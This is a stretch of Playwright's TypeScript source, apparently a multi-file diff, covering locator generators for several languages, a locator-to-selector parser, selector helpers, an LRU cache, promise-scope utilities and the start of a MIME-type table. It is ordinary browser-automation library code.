export class JavaScriptLocatorFactory implements LocatorFactory {
constructor(private preferredQuote?: Quote) {}
generateLocator(base: LocatorBase, kind: LocatorType, body: string | RegExp, options: LocatorOptions = {}): string {
switch (kind) {
case 'default':
if (options.hasText !== undefined)
return `locator(${this.quote(body as string)}, { hasText: ${this.toHasText(options.hasText)} })`;
if (options.hasNotText !== undefined)
return `locator(${this.quote(body as string)}, { hasNotText: ${this.toHasText(options.hasNotText)} })`;
return `locator(${this.quote(body as string)})`;
case 'frame-locator':
return `frameLocator(${this.quote(body as string)})`;
case 'frame':
return `contentFrame()`;
case 'nth':
return `nth(${body})`;
case 'first':
return `first()`;
case 'last':
return `last()`;
case 'visible':
return `filter({ visible: ${body === 'true' ? 'true' : 'false'} })`;
case 'role':
const attrs: string[] = [];
if (isRegExp(options.name)) {
attrs.push(`name: ${this.regexToSourceString(options.name)}`);
} else if (typeof options.name === 'string') {
attrs.push(`name: ${this.quote(options.name)}`);
if (options.exact)
attrs.push(`exact: true`);
}
for (const { name, value } of options.attrs!)
attrs.push(`${name}: ${typeof value === 'string' ? this.quote(value) : value}`);
const attrString = attrs.length ? `, { ${attrs.join(', ')} }` : '';
return `getByRole(${this.quote(body as string)}${attrString})`;
case 'has-text':
return `filter({ hasText: ${this.toHasText(body)} })`;
case 'has-not-text':
return `filter({ hasNotText: ${this.toHasText(body)} })`;
case 'has':
return `filter({ has: ${body} })`;
case 'hasNot':
return `filter({ hasNot: ${body} })`;
case 'and':
return `and(${body})`;
case 'or':
return `or(${body})`;
case 'chain':
return `locator(${body})`;
case 'test-id':
return `getByTestId(${this.toTestIdValue(body)})`;
case 'text':
return this.toCallWithExact('getByText', body, !!options.exact);
case 'alt':
return this.toCallWithExact('getByAltText', body, !!options.exact);
case 'placeholder':
return this.toCallWithExact('getByPlaceholder', body, !!options.exact);
case 'label':
return this.toCallWithExact('getByLabel', body, !!options.exact);
case 'title':
return this.toCallWithExact('getByTitle', body, !!options.exact);
default:
throw new Error('Unknown selector kind ' + kind);
}
}
chainLocators(locators: string[]): string {
return locators.join('.');
}
private regexToSourceString(re: RegExp) {
return normalizeEscapedRegexQuotes(String(re));
}
private toCallWithExact(method: string, body: string | RegExp, exact?: boolean) {
if (isRegExp(body))
return `${method}(${this.regexToSourceString(body)})`;
return exact ? `${method}(${this.quote(body)}, { exact: true })` : `${method}(${this.quote(body)})`;
}
private toHasText(body: string | RegExp) {
if (isRegExp(body))
return this.regexToSourceString(body);
return this.quote(body);
}
private toTestIdValue(value: string | RegExp): string {
if (isRegExp(value))
return this.regexToSourceString(value);
return this.quote(value);
}
private quote(text: string) {
return escapeWithQuotes(text, this.preferredQuote ?? '\'');
}
}
export class PythonLocatorFactory implements LocatorFactory {
generateLocator(base: LocatorBase, kind: LocatorType, body: string | RegExp, options: LocatorOptions = {}): string {
switch (kind) {
case 'default':
if (options.hasText !== undefined)
return `locator(${this.quote(body as string)}, has_text=${this.toHasText(options.hasText)})`;
if (options.hasNotText !== undefined)
return `locator(${this.quote(body as string)}, has_not_text=${this.toHasText(options.hasNotText)})`;
return `locator(${this.quote(body as string)})`;
case 'frame-locator':
return `frame_locator(${this.quote(body as string)})`;
case 'frame':
return `content_frame`;
case 'nth':
return `nth(${body})`;
case 'first':
return `first`;
case 'last':
return `last`;
case 'visible':
return `filter(visible=${body === 'true' ? 'True' : 'False'})`;
case 'role':
const attrs: string[] = [];
if (isRegExp(options.name)) {
attrs.push(`name=${this.regexToString(options.name)}`);
} else if (typeof options.name === 'string') {
attrs.push(`name=${this.quote(options.name)}`);
if (options.exact)
attrs.push(`exact=True`);
}
for (const { name, value } of options.attrs!) {
let valueString = typeof value === 'string' ? this.quote(value) : value;
if (typeof value === 'boolean')
valueString = value ? 'True' : 'False';
attrs.push(`${toSnakeCase(name)}=${valueString}`);
}
const attrString = attrs.length ? `, ${attrs.join(', ')}` : '';
return `get_by_role(${this.quote(body as string)}${attrString})`;
case 'has-text':
return `filter(has_text=${this.toHasText(body)})`;
case 'has-not-text':
return `filter(has_not_text=${this.toHasText(body)})`;
case 'has':
return `filter(has=${body})`;
case 'hasNot':
return `filter(has_not=${body})`;
case 'and':
return `and_(${body})`;
case 'or':
return `or_(${body})`;
case 'chain':
return `locator(${body})`;
case 'test-id':
return `get_by_test_id(${this.toTestIdValue(body)})`;
case 'text':
return this.toCallWithExact('get_by_text', body, !!options.exact);
case 'alt':
return this.toCallWithExact('get_by_alt_text', body, !!options.exact);
case 'placeholder':
return this.toCallWithExact('get_by_placeholder', body, !!options.exact);
case 'label':
return this.toCallWithExact('get_by_label', body, !!options.exact);
case 'title':
return this.toCallWithExact('get_by_title', body, !!options.exact);
default:
throw new Error('Unknown selector kind ' + kind);
}
}
chainLocators(locators: string[]): string {
return locators.join('.');
}
private regexToString(body: RegExp) {
const suffix = body.flags.includes('i') ? ', re.IGNORECASE' : '';
return `re.compile(r"${normalizeEscapedRegexQuotes(body.source).replace(/\\\//, '/').replace(/"/g, '\\"')}"${suffix})`;
}
private toCallWithExact(method: string, body: string | RegExp, exact: boolean) {
if (isRegExp(body))
return `${method}(${this.regexToString(body)})`;
if (exact)
return `${method}(${this.quote(body)}, exact=True)`;
return `${method}(${this.quote(body)})`;
}
private toHasText(body: string | RegExp) {
if (isRegExp(body))
return this.regexToString(body);
return `${this.quote(body)}`;
}
private toTestIdValue(value: string | RegExp) {
if (isRegExp(value))
return this.regexToString(value);
return this.quote(value);
}
private quote(text: string) {
return escapeWithQuotes(text, '\"');
}
}
export class JavaLocatorFactory implements LocatorFactory {
generateLocator(base: LocatorBase, kind: LocatorType, body: string | RegExp, options: LocatorOptions = {}): string {
let clazz: string;
switch (base) {
case 'page': clazz = 'Page'; break;
case 'frame-locator': clazz = 'FrameLocator'; break;
case 'locator': clazz = 'Locator'; break;
}
switch (kind) {
case 'default':
if (options.hasText !== undefined)
return `locator(${this.quote(body as string)}, new ${clazz}.LocatorOptions().setHasText(${this.toHasText(options.hasText)}))`;
if (options.hasNotText !== undefined)
return `locator(${this.quote(body as string)}, new ${clazz}.LocatorOptions().setHasNotText(${this.toHasText(options.hasNotText)}))`;
return `locator(${this.quote(body as string)})`;
case 'frame-locator':
return `frameLocator(${this.quote(body as string)})`;
case 'frame':
return `contentFrame()`;
case 'nth':
return `nth(${body})`;
case 'first':
return `first()`;
case 'last':
return `last()`;
case 'visible':
return `filter(new ${clazz}.FilterOptions().setVisible(${body === 'true' ? 'true' : 'false'}))`;
case 'role':
const attrs: string[] = [];
if (isRegExp(options.name)) {
attrs.push(`.setName(${this.regexToString(options.name)})`);
} else if (typeof options.name === 'string') {
attrs.push(`.setName(${this.quote(options.name)})`);
if (options.exact)
attrs.push(`.setExact(true)`);
}
for (const { name, value } of options.attrs!)
attrs.push(`.set${toTitleCase(name)}(${typeof value === 'string' ? this.quote(value) : value})`);
const attrString = attrs.length ? `, new ${clazz}.GetByRoleOptions()${attrs.join('')}` : '';
return `getByRole(AriaRole.${toSnakeCase(body as string).toUpperCase()}${attrString})`;
case 'has-text':
return `filter(new ${clazz}.FilterOptions().setHasText(${this.toHasText(body)}))`;
case 'has-not-text':
return `filter(new ${clazz}.FilterOptions().setHasNotText(${this.toHasText(body)}))`;
case 'has':
return `filter(new ${clazz}.FilterOptions().setHas(${body}))`;
case 'hasNot':
return `filter(new ${clazz}.FilterOptions().setHasNot(${body}))`;
case 'and':
return `and(${body})`;
case 'or':
return `or(${body})`;
case 'chain':
return `locator(${body})`;
case 'test-id':
return `getByTestId(${this.toTestIdValue(body)})`;
case 'text':
return this.toCallWithExact(clazz, 'getByText', body, !!options.exact);
case 'alt':
return this.toCallWithExact(clazz, 'getByAltText', body, !!options.exact);
case 'placeholder':
return this.toCallWithExact(clazz, 'getByPlaceholder', body, !!options.exact);
case 'label':
return this.toCallWithExact(clazz, 'getByLabel', body, !!options.exact);
case 'title':
return this.toCallWithExact(clazz, 'getByTitle', body, !!options.exact);
default:
throw new Error('Unknown selector kind ' + kind);
}
}
chainLocators(locators: string[]): string {
return locators.join('.');
}
private regexToString(body: RegExp) {
const suffix = body.flags.includes('i') ? ', Pattern.CASE_INSENSITIVE' : '';
return `Pattern.compile(${this.quote(normalizeEscapedRegexQuotes(body.source))}${suffix})`;
}
private toCallWithExact(clazz: string, method: string, body: string | RegExp, exact: boolean) {
if (isRegExp(body))
return `${method}(${this.regexToString(body)})`;
if (exact)
return `${method}(${this.quote(body)}, new ${clazz}.${toTitleCase(method)}Options().setExact(true))`;
return `${method}(${this.quote(body)})`;
}
private toHasText(body: string | RegExp) {
if (isRegExp(body))
return this.regexToString(body);
return this.quote(body);
}
private toTestIdValue(value: string | RegExp) {
if (isRegExp(value))
return this.regexToString(value);
return this.quote(value);
}
private quote(text: string) {
return escapeWithQuotes(text, '\"');
}
}
export class CSharpLocatorFactory implements LocatorFactory {
generateLocator(base: LocatorBase, kind: LocatorType, body: string | RegExp, options: LocatorOptions = {}): string {
switch (kind) {
case 'default':
if (options.hasText !== undefined)
return `Locator(${this.quote(body as string)}, new() { ${this.toHasText(options.hasText)} })`;
if (options.hasNotText !== undefined)
return `Locator(${this.quote(body as string)}, new() { ${this.toHasNotText(options.hasNotText)} })`;
return `Locator(${this.quote(body as string)})`;
case 'frame-locator':
return `FrameLocator(${this.quote(body as string)})`;
case 'frame':
return `ContentFrame`;
case 'nth':
return `Nth(${body})`;
case 'first':
return `First`;
case 'last':
return `Last`;
case 'visible':
return `Filter(new() { Visible = ${body === 'true' ? 'true' : 'false'} })`;
case 'role':
const attrs: string[] = [];
if (isRegExp(options.name)) {
attrs.push(`NameRegex = ${this.regexToString(options.name)}`);
} else if (typeof options.name === 'string') {
attrs.push(`Name = ${this.quote(options.name)}`);
if (options.exact)
attrs.push(`Exact = true`);
}
for (const { name, value } of options.attrs!)
attrs.push(`${toTitleCase(name)} = ${typeof value === 'string' ? this.quote(value) : value}`);
const attrString = attrs.length ? `, new() { ${attrs.join(', ')} }` : '';
return `GetByRole(AriaRole.${toTitleCase(body as string)}${attrString})`;
case 'has-text':
return `Filter(new() { ${this.toHasText(body)} })`;
case 'has-not-text':
return `Filter(new() { ${this.toHasNotText(body)} })`;
case 'has':
return `Filter(new() { Has = ${body} })`;
case 'hasNot':
return `Filter(new() { HasNot = ${body} })`;
case 'and':
return `And(${body})`;
case 'or':
return `Or(${body})`;
case 'chain':
return `Locator(${body})`;
case 'test-id':
return `GetByTestId(${this.toTestIdValue(body)})`;
case 'text':
return this.toCallWithExact('GetByText', body, !!options.exact);
case 'alt':
return this.toCallWithExact('GetByAltText', body, !!options.exact);
case 'placeholder':
return this.toCallWithExact('GetByPlaceholder', body, !!options.exact);
case 'label':
return this.toCallWithExact('GetByLabel', body, !!options.exact);
case 'title':
return this.toCallWithExact('GetByTitle', body, !!options.exact);
default:
throw new Error('Unknown selector kind ' + kind);
}
}
chainLocators(locators: string[]): string {
return locators.join('.');
}
private regexToString(body: RegExp): string {
const suffix = body.flags.includes('i') ? ', RegexOptions.IgnoreCase' : '';
return `new Regex(${this.quote(normalizeEscapedRegexQuotes(body.source))}${suffix})`;
}
private toCallWithExact(method: string, body: string | RegExp, exact: boolean) {
if (isRegExp(body))
return `${method}(${this.regexToString(body)})`;
if (exact)
return `${method}(${this.quote(body)}, new() { Exact = true })`;
return `${method}(${this.quote(body)})`;
}
private toHasText(body: string | RegExp) {
if (isRegExp(body))
return `HasTextRegex = ${this.regexToString(body)}`;
return `HasText = ${this.quote(body)}`;
}
private toTestIdValue(value: string | RegExp) {
if (isRegExp(value))
return this.regexToString(value);
return this.quote(value);
}
private toHasNotText(body: string | RegExp) {
if (isRegExp(body))
return `HasNotTextRegex = ${this.regexToString(body)}`;
return `HasNotText = ${this.quote(body)}`;
}
private quote(text: string) {
return escapeWithQuotes(text, '\"');
}
}
export class JsonlLocatorFactory implements LocatorFactory {
generateLocator(base: LocatorBase, kind: LocatorType, body: string | RegExp, options: LocatorOptions = {}): string {
return JSON.stringify({
kind,
body,
options,
});
}
chainLocators(locators: string[]): string {
const objects = locators.map(l => JSON.parse(l));
for (let i = 0; i < objects.length - 1; ++i)
objects[i].next = objects[i + 1];
return JSON.stringify(objects[0]);
}
}
const generators: Record<Language, new (preferredQuote?: Quote) => LocatorFactory> = {
javascript: JavaScriptLocatorFactory,
python: PythonLocatorFactory,
java: JavaLocatorFactory,
csharp: CSharpLocatorFactory,
jsonl: JsonlLocatorFactory,
};
function isRegExp(obj: any): obj is RegExp {
return obj instanceof RegExp;
}
@@ -0,0 +1,248 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { asLocators } from './locatorGenerators';
import { parseSelector } from './selectorParser';
import { escapeForAttributeSelector, escapeForTextSelector } from './stringUtils';
import type { Language, Quote } from './locatorGenerators';
type TemplateParams = { quote: string, text: string }[];
function parseLocator(locator: string, testIdAttributeName: string): { selector: string, preferredQuote: Quote | undefined } {
locator = locator
.replace(/AriaRole\s*\.\s*([\w]+)/g, (_, group) => group.toLowerCase())
.replace(/(get_by_role|getByRole)\s*\(\s*(?:["'`])([^'"`]+)['"`]/g, (_, group1, group2) => `${group1}(${group2.toLowerCase()}`);
const params: TemplateParams = [];
let template = '';
for (let i = 0; i < locator.length; ++i) {
const quote = locator[i];
if (quote !== '"' && quote !== '\'' && quote !== '`' && quote !== '/') {
template += quote;
continue;
}
const isRegexEscaping = locator[i - 1] === 'r' || locator[i] === '/';
++i;
let text = '';
while (i < locator.length) {
if (locator[i] === '\\') {
if (isRegexEscaping) {
if (locator[i + 1] !== quote)
text += locator[i];
++i;
text += locator[i];
} else {
++i;
if (locator[i] === 'n')
text += '\n';
else if (locator[i] === 'r')
text += '\r';
else if (locator[i] === 't')
text += '\t';
else
text += locator[i];
}
++i;
continue;
}
if (locator[i] !== quote) {
text += locator[i++];
continue;
}
break;
}
params.push({ quote, text });
template += (quote === '/' ? 'r' : '') + '$' + params.length;
}
// Equalize languages.
template = template.toLowerCase()
.replace(/get_by_alt_text/g, 'getbyalttext')
.replace(/get_by_test_id/g, 'getbytestid')
.replace(/get_by_([\w]+)/g, 'getby$1')
.replace(/has_not_text/g, 'hasnottext')
.replace(/has_text/g, 'hastext')
.replace(/has_not/g, 'hasnot')
.replace(/frame_locator/g, 'framelocator')
.replace(/content_frame/g, 'contentframe')
.replace(/[{}\s]/g, '')
.replace(/new\(\)/g, '')
.replace(/new[\w]+\.[\w]+options\(\)/g, '')
.replace(/\.set/g, ',set')
.replace(/\.or_\(/g, 'or(') // Python has "or_" instead of "or".
.replace(/\.and_\(/g, 'and(') // Python has "and_" instead of "and".
.replace(/:/g, '=')
.replace(/,re\.ignorecase/g, 'i')
.replace(/,pattern.case_insensitive/g, 'i')
.replace(/,regexoptions.ignorecase/g, 'i')
.replace(/re.compile\(([^)]+)\)/g, '$1') // Python has regex strings as r"foo"
.replace(/pattern.compile\(([^)]+)\)/g, 'r$1')
.replace(/newregex\(([^)]+)\)/g, 'r$1')
.replace(/string=/g, '=')
.replace(/regex=/g, '=')
.replace(/,,/g, ',')
.replace(/,\)/g, ')');
const preferredQuote = params.map(p => p.quote).filter(quote => '\'"`'.includes(quote))[0] as Quote | undefined;
return { selector: transform(template, params, testIdAttributeName), preferredQuote };
}
function countParams(template: string) {
return [...template.matchAll(/\$\d+/g)].length;
}
function shiftParams(template: string, sub: number) {
return template.replace(/\$(\d+)/g, (_, ordinal) => `$${ordinal - sub}`);
}
function transform(template: string, params: TemplateParams, testIdAttributeName: string): string {
// Recursively handle filter(has=, hasnot=, sethas(), sethasnot()).
// TODO: handle and(locator), or(locator), locator(locator), locator(has=, hasnot=, sethas(), sethasnot()).
while (true) {
const hasMatch = template.match(/filter\(,?(has=|hasnot=|sethas\(|sethasnot\()/);
if (!hasMatch)
break;
// Extract inner locator based on balanced parens.
const start = hasMatch.index! + hasMatch[0].length;
let balance = 0;
let end = start;
for (; end < template.length; end++) {
if (template[end] === '(')
balance++;
else if (template[end] === ')')
balance--;
if (balance < 0)
break;
}
// Replace Java sethas(...) and sethasnot(...) with has=... and hasnot=...
let prefix = template.substring(0, start);
let extraSymbol = 0;
if (['sethas(', 'sethasnot('].includes(hasMatch[1])) {
// Eat extra ) symbol at the end of sethas(...)
extraSymbol = 1;
prefix = prefix.replace(/sethas\($/, 'has=').replace(/sethasnot\($/, 'hasnot=');
}
const paramsCountBeforeHas = countParams(template.substring(0, start));
const hasTemplate = shiftParams(template.substring(start, end), paramsCountBeforeHas);
const paramsCountInHas = countParams(hasTemplate);
const hasParams = params.slice(paramsCountBeforeHas, paramsCountBeforeHas + paramsCountInHas);
const hasSelector = JSON.stringify(transform(hasTemplate, hasParams, testIdAttributeName));
// Replace filter(has=...) with filter(has2=$5). Use has2 to avoid matching the same filter again.
// Replace filter(hasnot=...) with filter(hasnot2=$5). Use hasnot2 to avoid matching the same filter again.
template = prefix.replace(/=$/, '2=') + `$${paramsCountBeforeHas + 1}` + shiftParams(template.substring(end + extraSymbol), paramsCountInHas - 1);
// Replace inner params with $5 value.
const paramsBeforeHas = params.slice(0, paramsCountBeforeHas);
const paramsAfterHas = params.slice(paramsCountBeforeHas + paramsCountInHas);
params = paramsBeforeHas.concat([{ quote: '"', text: hasSelector }]).concat(paramsAfterHas);
}
// Transform to selector engines.
template = template
.replace(/\,set([\w]+)\(([^)]+)\)/g, (_, group1, group2) => ',' + group1.toLowerCase() + '=' + group2.toLowerCase())
.replace(/framelocator\(([^)]+)\)/g, '$1.internal:control=enter-frame')
.replace(/contentframe(\(\))?/g, 'internal:control=enter-frame')
.replace(/locator\(([^)]+),hastext=([^),]+)\)/g, 'locator($1).internal:has-text=$2')
.replace(/locator\(([^)]+),hasnottext=([^),]+)\)/g, 'locator($1).internal:has-not-text=$2')
.replace(/locator\(([^)]+),hastext=([^),]+)\)/g, 'locator($1).internal:has-text=$2')
.replace(/locator\(([^)]+)\)/g, '$1')
.replace(/getbyrole\(([^)]+)\)/g, 'internal:role=$1')
.replace(/getbytext\(([^)]+)\)/g, 'internal:text=$1')
.replace(/getbylabel\(([^)]+)\)/g, 'internal:label=$1')
.replace(/getbytestid\(([^)]+)\)/g, `internal:testid=[${testIdAttributeName}=$1]`)
.replace(/getby(placeholder|alt|title)(?:text)?\(([^)]+)\)/g, 'internal:attr=[$1=$2]')
.replace(/first(\(\))?/g, 'nth=0')
.replace(/last(\(\))?/g, 'nth=-1')
.replace(/nth\(([^)]+)\)/g, 'nth=$1')
.replace(/filter\(,?visible=true\)/g, 'visible=true')
.replace(/filter\(,?visible=false\)/g, 'visible=false')
.replace(/filter\(,?hastext=([^)]+)\)/g, 'internal:has-text=$1')
.replace(/filter\(,?hasnottext=([^)]+)\)/g, 'internal:has-not-text=$1')
.replace(/filter\(,?has2=([^)]+)\)/g, 'internal:has=$1')
.replace(/filter\(,?hasnot2=([^)]+)\)/g, 'internal:has-not=$1')
.replace(/,exact=false/g, '')
.replace(/,exact=true/g, 's')
.replace(/,includehidden=/g, ',include-hidden=')
.replace(/\,/g, '][');
const parts = template.split('.');
// Turn "internal:control=enter-frame >> nth=0" into "nth=0 >> internal:control=enter-frame"
// because these are swapped in locators vs selectors.
for (let index = 0; index < parts.length - 1; index++) {
if (parts[index] === 'internal:control=enter-frame' && parts[index + 1].startsWith('nth=')) {
// Swap nth and enter-frame.
const [nth] = parts.splice(index, 1);
parts.splice(index + 1, 0, nth);
}
}
// Substitute params.
return parts.map(t => {
if (!t.startsWith('internal:') || t === 'internal:control')
return t.replace(/\$(\d+)/g, (_, ordinal) => { const param = params[+ordinal - 1]; return param.text; });
t = t.includes('[') ? t.replace(/\]/, '') + ']' : t;
t = t
.replace(/(?:r)\$(\d+)(i)?/g, (_, ordinal, suffix) => {
const param = params[+ordinal - 1];
if (t.startsWith('internal:attr') || t.startsWith('internal:testid') || t.startsWith('internal:role'))
return escapeForAttributeSelector(new RegExp(param.text), false) + (suffix || '');
return escapeForTextSelector(new RegExp(param.text, suffix), false);
})
.replace(/\$(\d+)(i|s)?/g, (_, ordinal, suffix) => {
const param = params[+ordinal - 1];
if (t.startsWith('internal:has=') || t.startsWith('internal:has-not='))
return param.text;
if (t.startsWith('internal:testid'))
return escapeForAttributeSelector(param.text, true);
if (t.startsWith('internal:attr') || t.startsWith('internal:role'))
return escapeForAttributeSelector(param.text, suffix === 's');
return escapeForTextSelector(param.text, suffix === 's');
});
return t;
}).join(' >> ');
}
export function locatorOrSelectorAsSelector(language: Language, locator: string, testIdAttributeName: string): string {
try {
return unsafeLocatorOrSelectorAsSelector(language, locator, testIdAttributeName);
} catch (e) {
return '';
}
}
export function unsafeLocatorOrSelectorAsSelector(language: Language, locator: string, testIdAttributeName: string): string {
try {
parseSelector(locator);
return locator;
} catch (e) {
}
const { selector, preferredQuote } = parseLocator(locator, testIdAttributeName);
const locators = asLocators(language, selector, undefined, undefined, preferredQuote);
const digest = digestForComparison(language, locator);
if (locators.some(candidate => digestForComparison(language, candidate) === digest))
return selector;
return '';
}
function digestForComparison(language: Language, locator: string) {
locator = locator.replace(/\s/g, '');
if (language === 'javascript')
locator = locator.replace(/\\?["`]/g, '\'').replace(/,{}/g, '');
return locator;
}
@@ -0,0 +1,78 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { escapeForAttributeSelector, escapeForTextSelector } from './stringUtils';
export type ByRoleOptions = {
checked?: boolean;
disabled?: boolean;
exact?: boolean;
expanded?: boolean;
includeHidden?: boolean;
level?: number;
name?: string | RegExp;
pressed?: boolean;
selected?: boolean;
};
function getByAttributeTextSelector(attrName: string, text: string | RegExp, options?: { exact?: boolean }): string {
return `internal:attr=[${attrName}=${escapeForAttributeSelector(text, options?.exact || false)}]`;
}
export function getByTestIdSelector(testIdAttributeName: string, testId: string | RegExp): string {
return `internal:testid=[${testIdAttributeName}=${escapeForAttributeSelector(testId, true)}]`;
}
export function getByLabelSelector(text: string | RegExp, options?: { exact?: boolean }): string {
return 'internal:label=' + escapeForTextSelector(text, !!options?.exact);
}
export function getByAltTextSelector(text: string | RegExp, options?: { exact?: boolean }): string {
return getByAttributeTextSelector('alt', text, options);
}
export function getByTitleSelector(text: string | RegExp, options?: { exact?: boolean }): string {
return getByAttributeTextSelector('title', text, options);
}
export function getByPlaceholderSelector(text: string | RegExp, options?: { exact?: boolean }): string {
return getByAttributeTextSelector('placeholder', text, options);
}
export function getByTextSelector(text: string | RegExp, options?: { exact?: boolean }): string {
return 'internal:text=' + escapeForTextSelector(text, !!options?.exact);
}
export function getByRoleSelector(role: string, options: ByRoleOptions = {}): string {
const props: string[][] = [];
if (options.checked !== undefined)
props.push(['checked', String(options.checked)]);
if (options.disabled !== undefined)
props.push(['disabled', String(options.disabled)]);
if (options.selected !== undefined)
props.push(['selected', String(options.selected)]);
if (options.expanded !== undefined)
props.push(['expanded', String(options.expanded)]);
if (options.includeHidden !== undefined)
props.push(['include-hidden', String(options.includeHidden)]);
if (options.level !== undefined)
props.push(['level', String(options.level)]);
if (options.name !== undefined)
props.push(['name', escapeForAttributeSelector(options.name, !!options.exact)]);
if (options.pressed !== undefined)
props.push(['pressed', String(options.pressed)]);
return `internal:role=${role}${props.map(([n, v]) => `[${n}=${v}]`).join('')}`;
}
@@ -0,0 +1,49 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export class LRUCache<K, V> {
private _maxSize: number;
private _map: Map<K, { value: V, size: number }>;
private _size: number;
constructor(maxSize: number) {
this._maxSize = maxSize;
this._map = new Map();
this._size = 0;
}
getOrCompute(key: K, compute: () => { value: V, size: number }): V {
if (this._map.has(key)) {
const result = this._map.get(key)!;
// reinserting makes this the least recently used entry
this._map.delete(key);
this._map.set(key, result);
return result.value;
}
const result = compute();
while (this._map.size && this._size + result.size > this._maxSize) {
const [firstKey, firstValue] = this._map.entries().next().value!;
this._size -= firstValue.size;
this._map.delete(firstKey);
}
this._map.set(key, result);
this._size += result.size;
return result.value;
}
}
@@ -0,0 +1,122 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { captureRawStack } from './stackTrace';
export class ManualPromise<T = void> extends Promise<T> {
private _resolve!: (t: T) => void;
private _reject!: (e: Error) => void;
private _isDone: boolean;
constructor() {
let resolve: (t: T) => void;
let reject: (e: Error) => void;
super((f, r) => {
resolve = f;
reject = r;
});
this._isDone = false;
this._resolve = resolve!;
this._reject = reject!;
}
isDone() {
return this._isDone;
}
resolve(t: T) {
this._isDone = true;
this._resolve(t);
}
reject(e: Error) {
this._isDone = true;
this._reject(e);
}
static override get [Symbol.species]() {
return Promise;
}
override get [Symbol.toStringTag]() {
return 'ManualPromise';
}
}
export class LongStandingScope {
private _terminateError: Error | undefined;
private _closeError: Error | undefined;
private _terminatePromises = new Map<ManualPromise<Error>, string[]>();
private _isClosed = false;
reject(error: Error) {
this._isClosed = true;
this._terminateError = error;
for (const p of this._terminatePromises.keys())
p.resolve(error);
}
close(error: Error) {
this._isClosed = true;
this._closeError = error;
for (const [p, frames] of this._terminatePromises)
p.resolve(cloneError(error, frames));
}
isClosed() {
return this._isClosed;
}
static async raceMultiple<T>(scopes: LongStandingScope[], promise: Promise<T>): Promise<T> {
return Promise.race(scopes.map(s => s.race(promise)));
}
async race<T>(promise: Promise<T> | Promise<T>[]): Promise<T> {
return this._race(Array.isArray(promise) ? promise : [promise], false) as Promise<T>;
}
async safeRace<T>(promise: Promise<T>, defaultValue: T): Promise<T>;
async safeRace<T>(promise: Promise<T>): Promise<T | undefined>;
async safeRace<T>(promise: Promise<T>, defaultValue?: T): Promise<T | undefined> {
return this._race([promise], true, defaultValue);
}
private async _race(promises: Promise<any>[], safe: boolean, defaultValue?: any): Promise<any> {
const terminatePromise = new ManualPromise<Error>();
const frames = captureRawStack();
if (this._terminateError)
terminatePromise.resolve(this._terminateError);
if (this._closeError)
terminatePromise.resolve(cloneError(this._closeError, frames));
this._terminatePromises.set(terminatePromise, frames);
try {
return await Promise.race([
terminatePromise.then(e => safe ? defaultValue : Promise.reject(e)),
...promises
]);
} finally {
this._terminatePromises.delete(terminatePromise);
}
}
}
function cloneError(error: Error, frames: string[]) {
const clone = new Error();
clone.name = error.name;
clone.message = error.message;
clone.stack = [error.name + ':' + error.message, ...frames].join('\n');
return clone;
}
@@ -0,0 +1,450 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the 'License');
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an 'AS IS' BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export function isJsonMimeType(mimeType: string) {
return !!mimeType.match(/^(application\/json|application\/.*?\+json|text\/(x-)?json)(;\s*charset=.*)?$/);
}
export function isXmlMimeType(mimeType: string) {
return !!mimeType.match(/^(application\/xml|application\/.*?\+xml|text\/xml)(;\s*charset=.*)?$/);
}
export function isTextualMimeType(mimeType: string) {
return !!mimeType.match(/^(text\/.*?|application\/(json|(x-)?javascript|xml.*?|ecmascript|graphql|x-www-form-urlencoded)|image\/svg(\+xml)?|application\/.*?(\+json|\+xml))(;\s*charset=.*)?$/);
}
export function getMimeTypeForPath(path: string): string | null {
const dotIndex = path.lastIndexOf('.');
if (dotIndex === -1)
return null;
const extension = path.substring(dotIndex + 1);
return types.get(extension) || null;
}
const types: Map<string, string> = new Map([
['ez', 'application/andrew-inset'],
['aw', 'application/applixware'],
['atom', 'application/atom+xml'],
['atomcat', 'application/atomcat+xml'],
['atomdeleted', 'application/atomdeleted+xml'],
['atomsvc', 'application/atomsvc+xml'],
['dwd', 'application/atsc-dwd+xml'],
['held', 'application/atsc-held+xml'],
['rsat', 'application/atsc-rsat+xml'],
['bdoc', 'application/bdoc'],
['xcs', 'application/calendar+xml'],
['ccxml', 'application/ccxml+xml'],
['cdfx', 'application/cdfx+xml'],
['cdmia', 'application/cdmi-capability'],
['cdmic', 'application/cdmi-container'],
['cdmid', 'application/cdmi-domain'],
['cdmio', 'application/cdmi-object'],
['cdmiq', 'application/cdmi-queue'],
['cu', 'application/cu-seeme'],
